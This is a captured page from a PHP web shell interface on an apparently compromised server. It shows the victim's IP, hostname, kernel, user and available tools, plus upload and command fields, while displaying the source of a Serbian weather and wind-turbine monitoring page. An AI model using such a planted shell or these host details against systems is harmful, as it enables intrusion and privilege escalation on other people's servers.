403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/isvtg_v3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/isvtg_v3/isvtg.php
<!DOCTYPE html>
<!--
******************************
 Project: VetroIng, 2023
 Version: PHP 5-7
 Author : M. Kukic
 Note   : v3.0
******************************

http://net-nas/www/vtg

-->
<html>
<head>
<style>
table, th, td {
    border: 1px solid gray;
	border-collapse: collapse;
}
th, td {
    padding: 4px;
    text-align: center;
}

</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<meta http-equiv="refresh" content="20">
<title>Vetroing</title>
</head>
<body>
<div style="width:720px; word-wrap:break-word;">

<?php
//
include "config.php";
//
include "hed.php";
//
// Grad-Geo-Info
echo "<div style=padding-bottom:5px;'>";
echo "<b>";
echo "Lokacija: ";
echo "<font face = 'Arial'; size = '5', color = '#48D1CC'>";
echo $grad."</font>";
echo str_repeat("&nbsp;", 3);
//echo "<a href='https://sh.wikipedia.org/wiki/%C4%8Ca%C4%8Dak'><img src='img/link.png' width='' height='28'></a>";
echo "</div>";
//
echo "Geo-Lokacija: ";
echo "<font face = 'Arial'; size = '5', color = '#48D1CC'>";
echo $gs." N - ".$gd." E, NV ".$nv."m</font>";
echo str_repeat("&nbsp;", 3);
?>

<a href="https://www.google.rs/maps/place/43%C2%B052'46.2%22N+20%C2%B021'13.5%22E/@43.8917973,20.3488233,435m/data=!3m1!1e3!4m5!3m4!1s0x0:0x0!8m2!3d43.879505!4d20.35375"><img src='img/geo-tag.png' width='' height='36'></a>

<?php

echo "<hr>";
//
// NTP vreme
$vreme=getCurrentDate();
if ($vreme=="07/02/2036 - 07:28:16"){
	$vreme=getCurrentDate();
}

if ($vreme==""){
	date_default_timezone_set('Europe/Belgrade');
	$vreme=date("d/m/Y - H:i:s");
}
$vreme=substr($vreme,0,18);
$lz=isDST();
if ($lz==0){
  $dst=1;
}else{
  $dst=2;
}
echo "<b>";
echo "Datum i vreme (NTP) GMT+".$dst.":";
echo "<div style='width:720px; margin:0 auto;' align=center>";
echo "<font face = 'Arial black'; size = '8', color = '#3366ff'>";
//echo str_repeat("&nbsp;", 4);
echo $vreme."</font><br/>";
echo "</div>";
echo "</b>";
//

// LAST Tabela
echo "<div style=padding-bottom:5px;'>";
echo "<b>Poslednji podaci:</b>";
echo str_repeat("&nbsp;", 4);
//
?>

<a href="https://www.google.rs/maps/place/43%C2%B052'46.2%22N+20%C2%B021'13.5%22E/@43.8795064,20.352961,245m/data=!3m2!1e3!4b1!4m5!3m4!1s0x0:0x0!8m2!3d43.879505!4d20.35375"><img src='img/geo-tag.png' width='' height='36'></a>

<?php
echo str_repeat("&nbsp;", 4);
echo "<a href='https://www.weather2umbrella.com/vremenska-prognoza-%C4%8Da%C4%8Dak-srbija-sr/meteogram'><img src='img/prognoza.png' width='' height='36'></a>";
echo "</div>";
//
		$sql = "SELECT * FROM datalog WHERE vtgid='CA0' ORDER BY dattim DESC LIMIT 10";
if ($vap==5) {	
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$row = mysql_fetch_array($result);
		
		//echo "<font face = 'Arial'; size = '2', color = '#C71585'>";	
		
			echo "<table style='background-color:#F0FFFF; width:720px; margin:0 auto;'>";
			echo tabhead();
			//
			// Mat za Naglaseno
			$nt=round($row['temp'],1);
			$nb=$row['baro'];
			$nmsl=$nb+$p0-$nap;
			$nb=round($nb,1);
			$nmsl=round($nmsl,1);
			$ndlt=$nb-$nap;
			$ndlt=round($ndlt,1);
			
			aniz($row,0);
			tabbodi($row,$p0,$nap);
			//
			$row = mysql_fetch_array($result);   // pretposlednje
			aniz($row,1);
			//
			$row = mysql_fetch_array($result);   // pre predposlednjeg
			aniz($row,2);
			tabbodi($row,$p0,$nap);
			//
			$row = mysql_fetch_array($result);   // pretposlednje
			aniz($row,3);
			//
			$row = mysql_fetch_array($result);   // pre predposlednjeg
			tabbodi($row,$p0,$nap);
			//
			echo "</table>";
}else{
		$result = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$row = mysqli_fetch_array($result);
		
		//echo "<font face = 'Arial'; size = '2', color = '#C71585'>";	
		
			echo "<table style='background-color:#F0FFFF; width:720px; margin:0 auto;'>";
			echo tabhead();
			//
			// Mat za Naglaseno
			$nt=round($row['temp'],1);
			$nb=$row['baro'];
			$nmsl=$nb+$p0-$nap;
			$nb=round($nb,1);
			$nmsl=round($nmsl,1);
			$ndlt=$nb-$nap;
			$ndlt=round($ndlt,1);
			
			aniz($row,0);
			tabbodi($row,$p0,$nap);
			//
			$row = mysqli_fetch_array($result);   // pretposlednje
			aniz($row,1);
			//
			$row = mysqli_fetch_array($result);   // pre predposlednjeg
			aniz($row,2);
			tabbodi($row,$p0,$nap);
			//
			$row = mysqli_fetch_array($result);   // pretposlednje
			aniz($row,3);
			//
			$row = mysqli_fetch_array($result);   // pre predposlednjeg
			tabbodi($row,$p0,$nap);
			//
			echo "</table>";	
}	
	
//Meteo prognoza
echo "<div style=padding-top:8px;'>";
echo "<b>Procena vremena: </b>";
echo "</div>";
echo "<div style='width:720px; margin:0 auto;' align=center>";
echo "<font face = 'Arial black'; size = '4', color = '#cc0000'>";
prognoza($dbh,$vap);
echo "</div></font>";

// Meteo Naglaseno TEMP i BARO

echo "<div style='width:720px; margin:0 auto;' align=center>";
echo "<font face = 'Arial black'; size = '6', color = '#FF4500'>";

//echo str_repeat("&nbsp;",2);
if ($ndlt>0){
 $zn="+";
}else{
 $zn="";
}
echo $nt."&#8451; / ".$nmsl;
echo "</font>";
echo "<font face = 'Arial'; size = '6', color = '#FF4500'>";
echo "mb (".$zn.$ndlt.")";
echo "</font></div>";
echo "<hr style='width:70%;'>";
//	

// Prosecne vrednosti za 1h PRINT	
$fleg=1;
// Meteo statistika
//$fleg=1;
$ico=72;
	echo "<div style=padding-bottom:5px;'>";
	echo "<b>GEN - Meteo statistika:</b>";
	echo "</div>";
	echo "<div style='width:720px; margin:0 auto;'>";
	echo "<div align=center>";
	echo "<a href=lista.php><img src='img/graf-l.png' width='".$ico."' height=''></a></a><img src='img/b_white-2.png'>";
	echo "<a href=srbija.php><img src='img/graf-srb.png' width='".$ico."' height=''></a></a><img src='img/b_white-2.png'>";
	echo "<a href=graf-gen.php><img src='img/graf-t.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
	echo "<a href=graf-acv.php><img src='img/graf-b.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
	echo "<a href=graf-dcv.php><img src='img/graf-h.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
	echo "<a href=graf-dca.php><img src='img/graf-s.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
if ($fleg==1) {	
	echo "<br><br>";
	echo "<a href=graf-bar.php><img src='img/graf-r.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
	echo "<a href=graf-tmp.php><img src='img/graf-m.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
	echo "<a href=graf-hum.php><img src='img/graf-u.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
	echo "<a href=graf-wnd.php><img src='img/graf-w.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
	echo "<a href=graf-sun.php><img src='img/graf-n.png' width='".$ico."' height=''></a><img src='img/b_white-2.png'>";
}	
	echo "<br></div></div>";
//
echo "<hr>";
echo "<div style=padding-bottom:5px;'>";
//
// Program END
//
//
// F U N K C I J E
// 
// Elementi niza
function aniz($row,$i)
{
	global $apm25,$apm10,$aco;
	$apm25[$i]=$row['pm25'];
	$apm10[$i]=$row['pm10'];
	$aco[$i]=$row['co'];
	return;
} 
// 
// NTP
function query_time_server ($timeserver, $socket)
{
    $fp = fsockopen($timeserver,$socket,$err,$errstr,5);
    # parameters: server, socket, error code, error text, timeout
    if($fp)
    {
        fputs($fp, "\n");
        $timevalue = fread($fp, 49);
        fclose($fp); # close the connection
    }
    else
    {
        $timevalue = " ";
    }

    $ret = array();
    $ret[] = $timevalue;
    $ret[] = $err;     # error code
    $ret[] = $errstr;  # error text
	//echo "<br><br>Err: ".$err."/".$errstr."<br><br>";
    return($ret);
}
// 
function getCurrentDate($format = "d/m/Y - H:i:s"){
    $timeserver = "ntp.pads.ufrj.br";
    $timercvd = query_time_server($timeserver, 37);
	
//if no error from query_time_server
    if(!$timercvd[1]) {
        $timevalue = bin2hex($timercvd[0]);
        $timevalue = abs(HexDec('7fffffff') - HexDec($timevalue) - HexDec('7fffffff'));
        $tmestamp = $timevalue - 2208988800; # convert to UNIX epoch time stamp
        return date($format, $tmestamp);
    }
    return null;
}
// Determine if DST is currently in effect
function isDST(){
    $server_timezone = date_default_timezone_get();
    date_default_timezone_set("Europe/Belgrade");
    $is_dst = date('I');
    date_default_timezone_set($server_timezone);
    return $is_dst;
}

// Tabela heder
function tabhead()
{
	echo "<tr>";
	echo "<th>Vreme</th>";
	echo "<th>Vetar</th>";
	echo "<th>Turb</th>";
	echo "<th>Gen</th>";
	echo "<th>ACV</th>";
	echo "<th>DCV</th>";
	echo "<th>DCA</th>";
	echo "<th>GTmp</th>";
	echo "<th>Baro</th>";
	echo "<th>Temp</th>";
	echo "<th>Sun</th>";
	echo "<th>Humi</th>";
	echo "</tr>";
return;
}
// Tabela bodi
function tabbodi($row,$p0,$nap)
{
	echo "<tr>";
	$dt=$row['dattim'];
	$go=substr($dt,0,4);
	$me=substr($dt,5,2);
	$da=substr($dt,8,2);
	$vr=substr($dt,11,5);
	//echo "<td>".$da."/".$me."/".$go." - ".$vr."</td>";
	echo "<td>".$da."/".$me." - ".$vr."</td>";
		
	$pw=round($row['wind'],1);
	$pt=round($row['turb'],1);
	$pg=round($row['gen'],1);
	$pa=round($row['acv'],1);
	$pd=round($row['dcv'],1);
	$pc=round($row['dca'],1);
	$pm=round($row['gtmp'],1);
	$mb=round($row['baro'],1);
	$mt=round($row['temp'],1);
	$ms=round($row['sun'],1);
	$mh=round($row['humi'],1);	
//
	echo "<td>".$pw."</td>";
	echo "<td>".$pt."</td>";
	echo "<td>".$pg."</td>";
	echo "<td>".$pa."</td>";
	echo "<td>".$pd."</td>";
	echo "<td>".$pc."</td>";
	echo "<td>".$pm."</td>";
//
	echo "<td>".$mb."</td>";
	echo "<td>".$mt."</td>";
	echo "<td>".$ms."</td>";
	echo "<td>".$mh."</td>";
	echo "</tr>";
return;
}

// Trend 1h
function prognoza($dbh,$vap)
{
	$sql = "SELECT * FROM datalog WHERE vtgid='CA0' ORDER BY dattim DESC LIMIT 4";	
if ($vap==5) {
	$result = mysql_query($sql, $dbh) or die(mysql_error($dbh));
	$row = mysql_fetch_array($result);
	$y4=$row['baro'];
	$z4=$row['temp'];
	$row = mysql_fetch_array($result);
	$row = mysql_fetch_array($result);
	$row = mysql_fetch_array($result);
}else{	
	$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
	$row = mysqli_fetch_array($result);
	$y4=$row['baro'];
	$z4=$row['temp'];
	$row = mysqli_fetch_array($result);
	$row = mysqli_fetch_array($result);
	$row = mysqli_fetch_array($result);
}	
	$y1=$row['baro'];
	$z1=$row['temp'];
	//
	$dy=round(($y4-$y1),1);
	$dz=round(($z4-$z1),1);
	//
	if ($dy>0.0) {
		$trend="Izlepšavanje ka sunčanom";
	}
	if ($dy<0.0) {
		$trend="Naoblačenje sa mogućim padavinama";
	}
	if ($dy==0.0) {
		$trend="Nepromenljivo";
	}
	if ($dz>0.0) {
		$topl="toplije";
	}
	if ($dz<0.0) {
		$topl="hladnije";
	}
	if ($dz==0.0) {
		$topl="temp. bez promena";
	}
    //	
	echo $trend.", ".$topl;
	//
return;
}

if ($vap==5) {
	mysql_close($dbh);	
}else{	
	mysqli_close($dbh);	
}	
?>
<!-- 
<a href="javascript:history.go(-1)"><img src="img/back.png"></a><a href="wemos-d1.htm"><img src="img/info.png"></a><a href="srbija.php"><img src="img/bar.png"></a>
<p style='color:gray;'><?php echo str_repeat("&nbsp;", 70);?>Vetroing - TIMCA, 2023.</p>
-->
</div>
<?php include "fut.php";?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit